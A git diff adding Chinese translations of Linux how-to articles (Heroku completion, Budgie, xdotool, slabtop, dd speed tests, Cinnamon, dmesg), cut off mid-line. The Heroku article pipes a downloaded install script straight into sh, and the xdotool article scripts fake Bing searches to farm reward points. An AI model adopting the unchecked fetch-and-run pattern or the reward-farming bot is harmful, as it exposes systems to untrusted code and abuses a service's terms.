b/published/201408/20140711 How To Enable Tab Complete Heroku Commands In Oh-My-Zsh.md @@ -0,0 +1,50 @@ +如何在Oh-My-Zsh中启用Heroku命令补全功能 +================================================================================ +**Heroku**客户端是创建和管理Heroku应用的命令行界面工具。 + +需求: + +- Heroku toolbelt +- Oh-My-Zsh ([如何安装][1]) + +本文不是讲关于heroku的知识,也不是讲关于heroku的使用细节,而是仅仅展示给用户他们怎样可以使用oh-my-zsh来方便地敲入heroku命令。此外你还应该安装[heroku toolbelt][2]来进行本文的相应的操作。对于Ubuntu和Debian发行版,你可以通过运行下面的命令来安装: + + wget -qO- https://toolbelt.heroku.com/install-ubuntu.sh | sh + +打开终端,用你在[这里]创建的用户登陆heroku: + + heroku login + Enter your Heroku credentials. + Email: enockseth@unixmen.com + Password (输入是隐藏的): + Authentication successful. + +这显示heroku正在运行。 + +用你惯用的文本编辑器打开**.zshrc**: + + vim .zshrc + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/zsh_git.png) + +这里,git是唯一默认启用的插件。 + +在下图显示的插件选择区添加**heroku**: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/zsh_heroku.png) + +重启终端,输入**heroku**,按下tab键,到此就搞定啦: + +![](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/heroku_tab_complete.png) + +-------------------------------------------------------------------------------- + +via: http://www.unixmen.com/enable-tab-complete-heroku-commands-oh-zsh/ + +译者:[JonathanKang](https://github.com/JonathanKang) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.unixmen.com/install-oh-zsh-ubuntu-arch-linux-fedora/ +[2]:https://toolbelt.heroku.com/ +[3]:https://www.heroku.com/ diff --git a/published/201408/20140711 How to Install Lightweight Budgie Desktop in Ubuntu 14.04.md b/published/201408/20140711 How to Install Lightweight Budgie Desktop in Ubuntu 14.04.md new file mode 100644 index 0000000000..c32acaa9cb --- /dev/null +++ b/published/201408/20140711 How to Install Lightweight Budgie Desktop in Ubuntu 14.04.md @@ -0,0 +1,59 @@ +怎样在ubuntu 14.04上安装轻量级的Budgie桌面 +================================================================================ + +**如果你在推特上关注了我们,你可能看见了我们最近分享的一张截图,和这张截图一起的还有对它所展示的桌面进行命名的邀请。** + +你猜对了吗? 答案就是[Budgie][1] —— 一种为基于openSUSE 的linux发行版Evolve OS所设计、但不仅仅只能用于 Evolve OS的简易桌面环境。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/BsCvTxJIcAAPjUR.png-large.png) + +我们第一次提到Budgie是在三月份,当时我们被它的整洁、小巧的美感、灵活的架构,还有再次使用在当今大多数发行版中所使用的GNOME 3.10 成熟技术中的公共部分和标堆栈的决定所折服。 + +我对此项目的领导者Ikey Doherty所作出的开发选择非常佩服。无可否认另起炉灶有它的优点,但决定从上游的项目获取帮助将可以整个项目进展得更快,无论是在发展方面(更轻的技术负担)还是在用户可使用方面(更容易在其它发行版上运行)。 + +除了政治因素选择以外,这款桌面干净、小巧,向谷歌Chrome OS的Ash桌面致敬。如果你不介意有些许粗糙的边缘,那它值得你玩玩。那么怎样在Ubuntu安装Budgie呢? + +###非官方的PPA是不正式的 ### + +开源意味着如果你有一点终端使用知识的话,你就可以在获得Budgie桌面的源代码后进行编译,然后运行。 + +但如果你很懒,想不费周折就在Ubuntu 14.04 LTS(或者一个基于它的发行版)运行Budgie,那么你可以通过比较容易的途径来实现。 + +只要添加一个**非官方的PPA**,刷新你的软件源然后进行安装。几分钟后在这个家庭中你将有一位[名叫Bob][2]的新叔叔,并且有一个新的桌面可以玩耍。 + +###添加Budgie PPA ### + +将以下命令复制进一个打开的终端窗口,在提示过后输入你的密码(如果需要的话): + + sudo add-apt-repository ppa:sukso96100/budgie-desktop + sudo apt-get update && sudo apt-get install budgie-desktop + +### 登入Budgie会话 ### + +安装完成后你就可以在Unity欢迎界面的会话选择器中选择“Budgie”了。(别忘了以后要把选择项改回到稳定的桌面环境) + +### 注意 ### + +**budgie是不稳定、不完善的,并且它在Ubuntu上也没有被正式支持。**它正在积极开发中,功能还仍然有些缺失,包括但不仅限于:不支持网络管理,没有音量控制小程序(键盘按键工作良好),没有通知系统,无法将应用程序“固定”在任务栏。 + +它对UBUNTU的叠加滚动条、一些GTK主题的支持也不是很好,而且在使用upstart的发行版(例如ubuntu,[即使它正在改变之中][3])中会话管理器(例如,注销,重启等等)将无法工作。 + +一个应变方法是:禁用叠加滚动条,设置一个默认主题,通过在终端中使用以下命名来退出会话: + + gnome-session-quit + +脑海中有了上述这些警告后,我得建议那些自己的理智倾向于使用稳定、可靠的系统的人现在暂时不要使用它。 + +**而剩下那些狂热的业余爱好者们呢?好吧,请在下面留言告诉我们你觉得它如何。我给Bob让路。** + +-------------------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/07/install-budgie-evolve-os-desktop-ubuntu-14-04 + +译者:[Love-xuan](https://github.com/Love-xuan) 校对:[reinoir](https://github.com/reinoi) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.omgubuntu.co.uk/2014/03/budgie-desktop-chrome-os-like +[2]:http://en.wikipedia.org/wiki/Bob +[3]:http://www.omgubuntu.co.uk/2014/02/ubuntu-debian-switching-systemd \ No newline at end of file diff --git a/published/201408/20140711 How to simulate key press and mouse movement in Linux.md b/published/201408/20140711 How to simulate key press and mouse movement in Linux.md new file mode 100644 index 0000000000..bc7576eaed --- /dev/null +++ b/published/201408/20140711 How to simulate key press and mouse movement in Linux.md @@ -0,0 +1,133 @@ +在Linux中模拟击键和鼠标移动 +================================================================================ +

+你是否曾经拥有一个梦
+    ——你的计算机`
+         可以自动为你干活?
+或许,并非因为
+    你刚看了终结者。
+然而,除此之外
+    脚本和任务自动化
+        是每个高级用户追寻的梦
+如果今天
+    有许多的解决方案
+        可以满足这个目标
+那么
+    有时候
+       就难以从那众多之中采撷那
+       简洁、聪明而又高效的一个
+我
+    不能假装
+       是我自己发现了它
+而与此同时
+    却偏爱着那个
+       整洁的软体——xdotool
+其方法是如此直观
+    正如它作为X11自动化工具的表露
+转换思想
+    xdotool可以通过读取文本文件
+       模拟击键的旋律
+           以及鼠标的曼舞
+
+ +### 让Xdotool在Linux定居 ### + +对于Ubuntu,Debian或者Linux Mint,你能够只做: + + $ sudo apt-get install xdotool + +对于Fedora,请使用yum命令: + + $ sudo yum install xdotool + +对于CentOS用户,可以在[EPEL repo][1]中找到该包。在启用EPEL仓库后,只要使用上面的yum命令就可以达成你的愿望。 + +对于Arch用户,可在Community仓库中找到该包: + + $ sudo pacman -S xdotool + +如果你还是找不到你的发行版的对应xdotool,你可以从它的[官方站点][2]下载。 + +### Xdotool基本功 ### + +虽然xdotool是那样的直观,但它仍然是个脚本程序。因此,为了要正确地使用它,你还是得了解它的语法。不过敬请放心,相对于程序的功能而言,语法还是比较简单易学的。 + +首先,模拟击键是很容易的。你可以从终端敲入下面的命令: + + $ xdotool key [name of the key] + +如果你想要连接两个键,可以在它们之间使用“+”操作符。它看起来像这样: + + $ xdotool key alt+Tab + +这两个组合键可以为你切换窗口。 + +要想让xdotool帮你输入,可以使用以下命令: + + $ xdotool type '' + +这些对于基本的击键而言已经足够了。但是,xdotool的众多长处之一,就是它可以获取特定窗口的焦点。它可以获取右边的窗口,然后在里面输入,所有你记录下的按键都不会人间蒸发,而是老老实实的如你所愿的出现在那里。要获得该功能,一个简单的命令可以搞定: + + $ xdotool search --name [name of the window] key [keys to press] + +该命令将在打开的窗口中搜索对应名称的窗口,并聚焦于该窗口,然后模拟击键。 + +来点更高级的,但很有用哦,xdotool可以模拟鼠标移动和点击,看这命令: + + $ xdotool mousemove x y + +你可以将光标定位到屏幕坐标(x,y)(像素)。你也可以使用“click”参数来组合: + + $ xdotool mousemove x y click 1 + +这会让鼠标移动到(x,y),然后点击鼠标左键。“1”代表鼠标左键,“2”则是滚轮,“3”则是右键。 + +最后,一旦你这些命令根植于你脑海,你也许想要实际转储于文件来编辑并试着玩玩。鉴于此,就会有超过一个语句以上的内容了。你需要的就是写一个bash脚本了: + + #!/bin/bash + + xdotool [command 1] + xdotool [command 2] + etc + +或者你可以使用: + + $ xdotool [filename] + +这里你将命令写入到一个独立的文件中,然后通过将文件名作为xdotool命令的参数。 + +### 意外收获 ### + +作为本文的一个意外收获,这里是xdotool的一个具体实例。你可能听说过,也可能没听说过Bing —— 微软的搜索引擎。在后面的实例中,你会看到你可能从没听过Bing奖励:一个程序,可以让你用Bing积分兑取亚马逊的礼物卡和其它的一些礼物卡。要赚取这些积分,你可以每天在Bing上搜索累计达30次,每次搜索你都会获得0.5个积分。换句话说,你必须把Bing设为默认搜索引擎,并每天使用它。 + +或者,你可以使用xdotool脚本,在这个脚本中,会自动聚焦到Firefox(你可以用你喜欢的浏览器来取代它),并使用fortune命令生成一些随机单词来实施搜索。大约30秒之内,你的日常搜索任务就完成了。 + + #!/bin/bash + + for i in {1..30} + do + WID=`xdotool search --title "Mozilla Firefox" | head -1` + xdotool windowfocus $WID + xdotool key ctrl+l + xdotool key Tab + SENTENCE="$(fortune | cut -d' ' -f1-3 | head -1)" + xdotool type $SENTENCE + xdotool key "Return" + sleep 4 + done + + +下面来个小结吧:我真的很喜欢xdotool,即便它的完整功能超越了本文涵盖的范围。这对于脚本和任务自动化而言,确实是种平易的方式。负面的问题是,它可能不是最有效率的一个。但我要再说一遍,它忠于职守了,而且学习起来也不是那么麻烦。 + +你对xdotool怎么看呢?你是否更喜欢另外一个自动化工具,而不是它呢?为什么呢?请在评论中告诉我们吧。 + +-------------------------------------------------------------------------------- + +via: http://xmodulo.com/2014/07/simulate-key-press-mouse-movement-linux.html + +译者:[GOLinux](https://github.com/GOLinux) 校对:[ wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://xmodulo.com/2013/03/how-to-set-up-epel-repository-on-centos.html +[2]:http://www.semicomplete.com/projects/xdotool/ diff --git a/published/201408/20140714 Linux slabtop command--Display Kernel Slab Cache Information.md b/published/201408/20140714 Linux slabtop command--Display Kernel Slab Cache Information.md new file mode 100644 index 0000000000..1912141da3 --- /dev/null +++ b/published/201408/20140714 Linux slabtop command--Display Kernel Slab Cache Information.md @@ -0,0 +1,140 @@ +Linux slabtop命令——显示内核片缓存信息 +================================================================================ + +Linux内核需要为临时对象如任务或者设备结构和节点分配内存,缓存分配器管理着这些类型对象的缓存。现代Linux内核部署了该缓存分配器以持有缓存,称之为片。不同类型的片缓存由片分配器维护。本文集中讨论slabtop命令,该命令显示了实时内核片缓存信息。 + +### 1. 命令用法: ### + +该命令用起来很简单,默认执行时不要求任何参数。但是它要求root特权来读取内核片信息。以普通用户执行该命令会出现以下错误: + +![Run slabtop as non-privileged user](http://linoxide.com/wp-content/uploads/2014/07/001.slabtop_normal_user.png) + +你可以在前面设置“sudo”来运行该命令,默认输出见下图: + +![Slabtop default output](http://linoxide.com/wp-content/uploads/2014/07/002.slabtop_output.png) + +要退出slabtop,只需敲‘q’,就像在top命令中那样。 + +### 2. Slabtop选项: ### + +#### 2.1 显示间隔: #### + +默认情况下,slabtop每隔3秒刷新一次。但是,如果你想要调整,可以使用-d或者--delay=N选项来调整刷新间隔,以秒为单位: + +![Custom delay interval 01](http://linoxide.com/wp-content/uploads/2014/07/003.slabtop_delay01.png) + +![Custom delay interval 02](http://linoxide.com/wp-content/uploads/2014/07/004.slabtop_delay02.png) + +#### 2.2 排序标准: #### + +在slabtop输出中有很多字段,-s或--sort=S选项可以根据指定的排序标准对这些字段排序。该选项将在下一节中详细讲述。 + +#### 2.3 输出一次: #### + +-o或--once选项不会刷新输出,它仅仅将一次输出结果丢给STDOUT,然后退出。 + +![Output once and exit](http://linoxide.com/wp-content/uploads/2014/07/005.slabtop_output_once.png) + +#### 2.4 版本信息: #### + +-V或--version选项显示命令的版本并退出。 + +![Slabtop version](http://linoxide.com/wp-content/uploads/2014/07/006.slabtop_version.png) + +#### 2.5 帮助: #### + +常见选项,-h或--help显示命令的使用帮助。 + +![Slabtop help options](http://linoxide.com/wp-content/uploads/2014/07/007.slabtop_help.png) + +### 3. 排序标准: ### + +排序标准确定了哪个片缓存显示在顶部,下面是slabtop的排序标准: + +#### 3.1 活跃: #### + +缓存可以通过‘a’来对活跃对象编号进行排序。 + +![Sort by Active 01](http://linoxide.com/wp-content/uploads/2014/07/008.slabtop_sort_active01.png) + +![Sort by Active 02](http://linoxide.com/wp-content/uploads/2014/07/009.slabtop_sort_active02.png) + +#### 3.2 对象/分片: #### + +每分片对象数可以使用“b”来选择。 + +![Sort by objects per slab 01](http://linoxide.com/wp-content/uploads/2014/07/010.slabtop_sort_objslab01.png) + +![Sort by objects per slab 02](http://linoxide.com/wp-content/uploads/2014/07/011.slabtop_sort_objslab02.png) + +#### 3.3 缓存大小: #### + +要选择缓存大小,你需要提供“c”选项。 + +![Sort by cache size 01](http://linoxide.com/wp-content/uploads/2014/07/012.slabtop_sort_cache_size01.png) + +![Sort by cache size 02](http://linoxide.com/wp-content/uploads/2014/07/013.slabtop_sort_cache_size02.png) + +#### 3.4 分片: #### + +分片数量,使用“l”来选择。 + +![Sort by number of slabs 01](http://linoxide.com/wp-content/uploads/2014/07/014.slabtop_sort_slabs01.png) + +![Sort by number of slabs 02](http://linoxide.com/wp-content/uploads/2014/07/015.slabtop_sort_slabs02.png) + +#### 3.5 活跃分片: #### + +活跃分片数量。(注意:这不同于上面讲得活跃对象数量。)使用“v”来根据该标准排序。 + +![Sort by Active Slabs 01](http://linoxide.com/wp-content/uploads/2014/07/016.slabtop_sort_active_slabs01.png) + +![Sort by Active Slabs 02](http://linoxide.com/wp-content/uploads/2014/07/017.slabtop_sort_active_slabs02.png) + +#### 3.6 名称: #### + +缓存名称。相关字符是“n”。 + +![Sort by cache name 01](http://linoxide.com/wp-content/uploads/2014/07/018.slabtop_sort_cache_name01.png) + +![Sort by cache name 02](http://linoxide.com/wp-content/uploads/2014/07/019.slabtop_sort_cache_name02.png) + +#### 3.7 对象: #### + +要根据对象数量排序,使用“o”。 + +![Sort by number of objects 01](http://linoxide.com/wp-content/uploads/2014/07/020.slabtop_sort_objectnunber01.png) + +![Sort by number of objects 02](http://linoxide.com/wp-content/uploads/2014/07/021.slabtop_sort_objectnunber02.png) + +#### 3.8 每分片页面数: #### + +“p”将根据每分片页面数排序。 + +![Sort by pages per slab 01](http://linoxide.com/wp-content/uploads/2014/07/022.slabtop_sort_pagesperslab01.png) + +![Sort by pages per slab 02](http://linoxide.com/wp-content/uploads/2014/07/023.slabtop_sort_pagesperslab02.png) + +#### 3.9 对象大小: #### + +对象大小排序由“s”来指定。 + +![Sort by object size 01](http://linoxide.com/wp-content/uploads/2014/07/024.slabtop_sort_object_size01.png) + +![Sort by object size 02](http://linoxide.com/wp-content/uploads/2014/07/025.slabtop_sort_object_size02.png) + +#### 3.10 使用: #### + +“u”选项根据缓存使用量排序。 + +![Sort by cache utilization 01](http://linoxide.com/wp-content/uploads/2014/07/026.slabtop_sort_cache_utilization01.png) + +![Sort by cache utilization 02](http://linoxide.com/wp-content/uploads/2014/07/027.slabtop_sort_cache_utilization02.png) + +-------------------------------------------------------------------------------- + +via: http://linoxide.com/linux-command/kernel-slab-cache-information/ + +译者:[GOLinux](https://github.com/GOLinux) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201408/20140714 Set Default Browser on Debian or Ubuntu Using Terminal.md b/published/201408/20140714 Set Default Browser on Debian or Ubuntu Using Terminal.md new file mode 100644 index 0000000000..1131b1958c --- /dev/null +++ b/published/201408/20140714 Set Default Browser on Debian or Ubuntu Using Terminal.md @@ -0,0 +1,29 @@ +[快速技巧]利用终端在 Debian/Ubuntu 中设置默认浏览器 +================================================================================ + +![img](http://180016988.r.cdn77.net/wp-content/uploads/2014/07/Browsers-790x436.jpg) + +嘿,伙计们! + +在这篇文章中,我们将使用终端设置默认浏览器。 + +虽然,使用浏览器主界面来设置默认浏览器很方便,但是有时,你需要远程来操作。 + +要做到这一点,你只需打开终端,然后执行下述命令: + + sudo update-alternatives --config x-www-browser + +之后输入你想设置为默认浏览器的号码,这样就搞定了! + +截图如下: + +![图片1](https://camo.githubusercontent.com/7eae55f5fac41634017c1fb5a8bd9cb634a86dc4/687474703a2f2f3138303031363938382e722e63646e37372e6e65742f77702d636f6e74656e742f75706c6f6164732f323031342f30372f6368616e67655f64656661756c745f62726f777365725f66726f6d5f7465726d696e616c5f64656269616e5f656e6f636b2e706e67) + +成功了吗? + +--- +via: http://www.unixmen.com/quick-tip-set-default-browser-debianubuntu-using-terminal/ + +译者:[su-kaiyao](https://github.com/su-kaiyao) 校对:[Caroline](https://github.com/carolinewuyan) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 diff --git a/published/201408/20140714 Test read or write speed of usb and ssd drives with dd command on Linux.md b/published/201408/20140714 Test read or write speed of usb and ssd drives with dd command on Linux.md new file mode 100644 index 0000000000..600e02eddc --- /dev/null +++ b/published/201408/20140714 Test read or write speed of usb and ssd drives with dd command on Linux.md @@ -0,0 +1,139 @@ +Linux系统中使用 DD 命令测试 USB 和 SSD 硬盘的读写速度 +================================================================================ +### 磁盘驱动器速度 ### + +磁盘驱动器的速度是以一个单位时间内读写数据量的多少来衡量的。DD 命令是一个简单的命令行工具,它可用对磁盘进行任意数据块的读取和写入,同时可以度量读取写入的速度。 + +在这篇文章中,我们将会使用 DD 命令来测试 USB 和 SSD 磁盘的读取和写入速度。 + +数据传输速度不但取决于驱动盘本身,而且还与连接的接口有关。比如, USB 2.0 端口的最大传输速度是 35 兆字节/秒,所以如果您把一个支持高速传输的 USB 3.0 驱动盘插入 USB 2.0 端口的话,它实际的传输速度将是 2.0 端口的下限。 + +这对于 SSD 也是一样的。 SSD 连接的 SATA 端口有不同的类型。平均是 375 兆字节/秒的 SATA 2.0 端口理论上最大传输速度是 3 Gbit/秒,而 SATA 3.0 是这个速度的两倍。 + +### 测试方法 ### + +挂载上驱动盘,从终端进入此盘目录下。然后使用 DD 命令,首先写入固定大小块的一个文件,接着读取这个文件。 + +DD 命令通用语法格式如下: + + dd if=path/to/input_file of=/path/to/output_file bs=block_size count=number_of_blocks + +当写入到驱动盘的时候,我们简单的从无穷无用字节的源 /dev/zero 读取,当从驱动盘读取的时候,我们读取的是刚才的文件,并把输出结果发送到无用的 /dev/null。在整个操作过程中, DD 命令会跟踪数据传输的速度并且报告出结果。 + +### 固态硬盘 ### + +我们使用的是一块“三星 Evo 120G” 的固态硬盘。它性价比很高,很适合刚开始用固态硬盘的用户,也是我的第一块固态硬盘,并且也是市场上效果最好的固态硬盘之一。 + +这次实验中,我们把硬盘接在 SATA 2.0 端口上。 + +#### 写入速度 #### + +首先让我们写入固态硬盘 + + $ dd if=/dev/zero of=./largefile bs=1M count=1024 + 1024+0 records in + 1024+0 records out + 1073741824 bytes (1.1 GB) copied, 4.82364 s, 223 MB/s + +的大小实际上是相当大的。你可以尝试用更小的尺寸如 64K 甚至是 4K 的。 + +#### 读取速度 #### + +现在读回这个文件。但是,得首先清除内存的缓存,以确保这个文件确实是从驱动盘读取的。 + +运行下面的命令来清除内存缓存 + + $ sudo sh -c "sync && echo 3 > /proc/sys/vm/drop_caches" + +现在读取此文件 + + $ dd if=./largefile of=/dev/null bs=4k + 165118+0 records in + 165118+0 records out + 676323328 bytes (676 MB) copied, 3.0114 s, 225 MB/s + +在 Arch Linux 的维基页上有一整页的关于不同的厂商,如英特尔、三星、Sandisk 等提供的各类固态硬盘 读/写速度的信息。点击如下的 url 可以查看相关信息。 + +[https://wiki.archlinux.org/index.php/SSD_Benchmarking][1] + +### USB ### + +此次实验我们会测量普通的 USB/随身笔的读写速度。驱动盘都是接入标准的 USB 2.0 端口的。首先用的是一个 4GB 大小的 sony USB 驱动盘,随后用的是一个 16GB 大小的 strontium 驱动盘。 + +首先把驱动盘插入端口,并挂载上,使其可读。然后从命令行下面进入挂载的文件目录下。 + +#### Sony 4GB - 写入 #### + +这个实验中,用 DD 命令向驱动盘写入一个有 10000 块,每块 8K 字节的文件。 + + # dd if=/dev/zero of=./largefile bs=8k count=10000 + 10000+0 records in + 10000+0 records out + 81920000 bytes (82 MB) copied, 11.0626 s, 7.4 MB/s + +因此,写入速度约为7.5兆字节/秒。这是一个很低的数字。 + +#### Sony 4GB - 读取 #### + +把相同的文件读取回来,测试速度。首先运行如下命令清除内存缓存。 + + $ sudo sh -c "sync && echo 3 > /proc/sys/vm/drop_caches" + +现在就可以使用 DD 命令来读取文件了。 + + # dd if=./largefile of=/dev/null bs=8k + 8000+0 records in + 8000+0 records out + 65536000 bytes (66 MB) copied, 2.65218 s, 24.7 MB/s + +读取速度出来大约是25兆字节/秒,这大致跟廉价 USB 驱动盘的标准相匹配吧。 + +> USB2.0 理论上最大信号传输速率为480兆比特/秒,最小为60兆字节/秒。然而,由于各种限制实际传输速率大约280兆比特/秒和35兆字节/秒之间。除了这个,实际的速度还取决于驱动盘本身的质量好坏以及其他的因素。 + +上面实验中, USB 驱动盘插入USB 2.0 端口,读取的速度达到了 24.7兆字节/秒,这是很不错的读速度。但写入速度就不敢恭维了。 + +下面让我们用 16GB 的 Strontium 驱动盘来做相同的实验。虽然 Strontium 的 USB 驱动盘很稳定,但它也是一款很便宜的品牌。 + +#### Strontium 16gb 盘写入速度 #### + + # dd if=/dev/zero of=./largefile bs=64k count=1000 + 1000+0 records in + 1000+0 records out + 65536000 bytes (66 MB) copied, 8.3834 s, 7.8 MB/s + +#### Strontium 16gb 盘读取速度 #### + + # sudo sh -c "sync && echo 3 > /proc/sys/vm/drop_caches" + + # dd if=./largefile of=/dev/null bs=8k + 8000+0 records in + 8000+0 records out + 65536000 bytes (66 MB) copied, 2.90366 s, 22.6 MB/s + +它的读取速度就要比 Sony 的低了。 + +### 参考资料 ### + +- [http://en.wikipedia.org/wiki/USB][2] +- [https://wiki.archlinux.org/index.php/SSD_Benchmarking][1] + +---------- + +![](http://0.gravatar.com/avatar/e23f2767e6907e798da5b28694a2bf28?s=64&d=&r=G) + +关于 Silver Moon + +Php 开发者, 博主 和 Linux 爱好者. 通过 [m00n.silv3r@gmail.com][e] 或者 [Google+][g] 可联系到他。 + +-------------------------------------------------------------------------------- + +via: http://www.binarytides.com/linux-test-drive-speed/ + +译者:[runningwater](https://github.com/runningwater) 校对:[校对者ID](https://github.com/校对者ID) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://wiki.archlinux.org/index.php/SSD_Benchmarking +[2]:http://en.wikipedia.org/wiki/USB +[e]:m00n.silv3r@gmail.com +[g]:http://plus.google.com/117145272367995638274/posts diff --git a/published/201408/20140716 5 Simple Ways To Make Cinnamon Feel at Home on Ubuntu.md b/published/201408/20140716 5 Simple Ways To Make Cinnamon Feel at Home on Ubuntu.md new file mode 100644 index 0000000000..1d0e7a9f68 --- /dev/null +++ b/published/201408/20140716 5 Simple Ways To Make Cinnamon Feel at Home on Ubuntu.md @@ -0,0 +1,106 @@ +5个让Cinnamon桌面环境完美运行在ubuntu上的方法 +======================================================================= +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/des.jpg) + +**Cinnamon桌面环境最新稳定版本发行了,[ubuntu用户可以去安装使用了][1]** + +在已经安装好的基础上,我们可以做一些微调来拥有更棒的体验 。 + +你的Ubuntu如果没有安装Cinnamon,你可以参照我们[之前的文章进行安装][1]。 + +###更改Mint菜单图标### + +Mint菜单图标是Cinnamon的特色之一,它给予用户一种简单、快速、熟悉的方式来搜索、打开、组织应用程序,默认情况下,菜单使用启动程序项中的Linux Mint Logo。既然你是在ubuntu系统下使用它,而不是Mint,为什么不使用ubuntu熟悉的橙色朋友圈logo来替换原有的菜单图标呢? + +实现很简单: + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/min-menu.jpg) + +想要将Cinnamon菜单图标改变为ubuntu风格的,只需点击applet,选择‘config‘,在设置窗口,就会出现‘Use +a custom icon‘,然后你就输入下面的路径来使用ubuntu logo了: + + /usr/share/icons/ubuntu-mono-dark/actions/24/package-supported.svg + +你可以使用任何支持的图片类型,只需要在刚才的填写区域写入正确的图片路径,或者点击后面的方框来打开文件选择器,选择你要使用的图标。 + +###尝试Cinnamon主题### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/cinnamon-themes-zukitwo.jpg) + +和GNOME Shell一样,Cinnamon也支持自定义主题,我所说的主题并不只是应用程序的GTK主题和简单的窗口装饰,而是将面板,菜单,程序等等结合为一个整体的视觉风格。 + +不用离开桌面就可以浏览、下载Cinnamon主题。打开Cinnamon Settings tool中的Appearance +pane,然后选择‘Online Themes‘。 + +下面是一些受欢迎的主题: + +- [**Android Holo**][2] — Android 4.x style theme +- [**Zukitwo**][3] — Sleek, stylish and light +- [**Minty**][4] — Dark theme with bold green accents +- [**Metro**][5] — Based on the visual style of Windows 8. + +###找出你最喜欢的布局### + +Unity认为应用程序启动器永远只应该固定地待在屏幕的一侧,但是Cinnamon并不这样认为,它可以让你重新设计最符合你的桌面布局。 + +手动面板可以增加,编辑和移动,或选择三种预设的布局。 + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/traditional.jpg) + +打开`Settings > Panel > Layout Options > Panel Layout`,然后下面这几个中选择: + +- Traditional — 这是默认的布局,控制面板在屏幕的顶部 +- Flipped ——和Traditional一样,控制面板在屏幕顶部 +- Classic ——两个控制面板,一个在顶部,一个在底部 + +你需要注销或者重启Cinnamon才能生效。 + +###添加面板小程序### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/weather-applet.png) + +Cinnamon和GNOE Shell一样具有可扩展性,丰富的社区插件和扩展程序提供了额外的特性和功能,比如天气,系统监测,窗口管理工具等,这些都可以被浏览,安装并能从桌面直接启动。 + +选择控制面板,右键点击要添加小程序,选择 ‘…Add Appls to the Panel‘,一些著名的小程序如下: + +- [**Weather**][6] - does what it forecasts (ho ho) +- [**Stark Menu**][7] - Clone of the Windows 7 Start Menu +- [**Screenshot**][8] — Easy way to grab screenshots with delay + +###改变日期的显示格式### + +![](http://www.omgubuntu.co.uk/wp-content/uploads/2014/07/applet.jpg) + +Cinnamon的时间日期程序很方便,它可以让你很容易就记住日期 + +但是它显示时间的默认格式是24小时制,但是我们很容易就能调整时钟格式 + +右击然后选择‘Configure‘,在设置窗口中出现“Use a custom date +format“的选择框上打勾,或者使用下面的几种格式(复制粘帖粗体字段) + +- **%B %e, %I:%M %p** (July 13, 7:19 PM) +- **%m/%d/%Y** (07/13/2014) +- **%l:%M %p** (7:19 PM) + +改变立马生效,如果中途发生了错误,你可以取消自定义时间格式选项恢复到默认状态 + +###更多### + +在Cinnamon桌面环境中只有少部分定制选择供使用者使用,但是我们认为上述所讲的调整是不断探索的很好跳板,通过下面的评论栏让我们了解你最喜欢的调整是什么吧,你可以通过Facebook或者Google+ + +---------------------------------------------------------------------- + +via: http://www.omgubuntu.co.uk/2014/07/5-things-installing-cinnamon-ubuntu + +译者:[su-kaiyao](https://github.com/su-kaiyao) 校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出 + +[1]:http://www.omgubuntu.co.uk/2014/07/new-cinnamon-ubuntu-14-04-ppa-stable +[2]:http://cinnamon-spices.linuxmint.com/themes/view/122 +[3]:http://cinnamon-spices.linuxmint.com/themes/view/219 +[4]:http://cinnamon-spices.linuxmint.com/themes/view/25 +[5]:http://cinnamon-spices.linuxmint.com/themes/view/188 +[6]:http://cinnamon-spices.linuxmint.com/applets/view/17 +[7]:http://cinnamon-spices.linuxmint.com/applets/view/168 +[8]:http://cinnamon-spices.linuxmint.com/applets/view/35 diff --git a/published/201408/20140716 7 dmesg Commands for Troubleshooting and Collecting Information of Linux Systems.md b/published/201408/20140716 7 dmesg Commands for Troubleshooting and Collecting Information of Linux Systems.md new file mode 100644 index 0000000000..f9b158d435 --- /dev/null +++ b/published/201408/20140716 7 dmesg Commands for Troubleshooting and Collecting Information of Linux Systems.md @@ -0,0 +1,200 @@ +Linux系统中‘dmesg’命令处理故障和收集系统信息的7种用法 +========================================================== + +‘dmesg’命令显示linux内核的环形缓冲区信息,我们可以从中获得诸如系统架构、cpu、挂载的硬件,RAM等多个运行级别的大量的系统信息。当计算机启动时,系统内核(操作系统的核心部分)将会被加载到内存中。在加载的过程中会显示很多的信息,在这些信息中我们可以看到内核检测硬件设备。 + +![dmesg Command Examples](http://www.tecmint.com/wp-content/uploads/2014/07/dmesg-Command-Examples.png) + +dmesg 命令的使用范例 + +‘dmesg’命令设备故障的诊断是非常重要的。在‘dmesg’命令的帮助下进行硬件的连接或断开连接操作时,我们可以看到硬件的检测或者断开连接的信息。‘dmesg’命令在多数基于**Linux**和**Unix**的操作系统中都可以使用。 + +下面我们展示一些最负盛名的‘dmesg’命令工具以及其实际使用举例。‘dmesg’命令的使用语法如下。 + + # dmesg [options...] + +### 1. 列出加载到内核中的所有驱动 ### + +我们可以使用如‘**more**’。 ‘**tail**’, ‘**less** ’或者‘**grep**’文字处理工具来处理‘dmesg’命令的输出。由于dmesg日志的输出不适合在一页中完全显示,因此我们使用管道(pipe)将其输出送到more或者less命令单页显示。 + + [root@tecmint.com ~]# dmesg | more + [root@tecmint.com 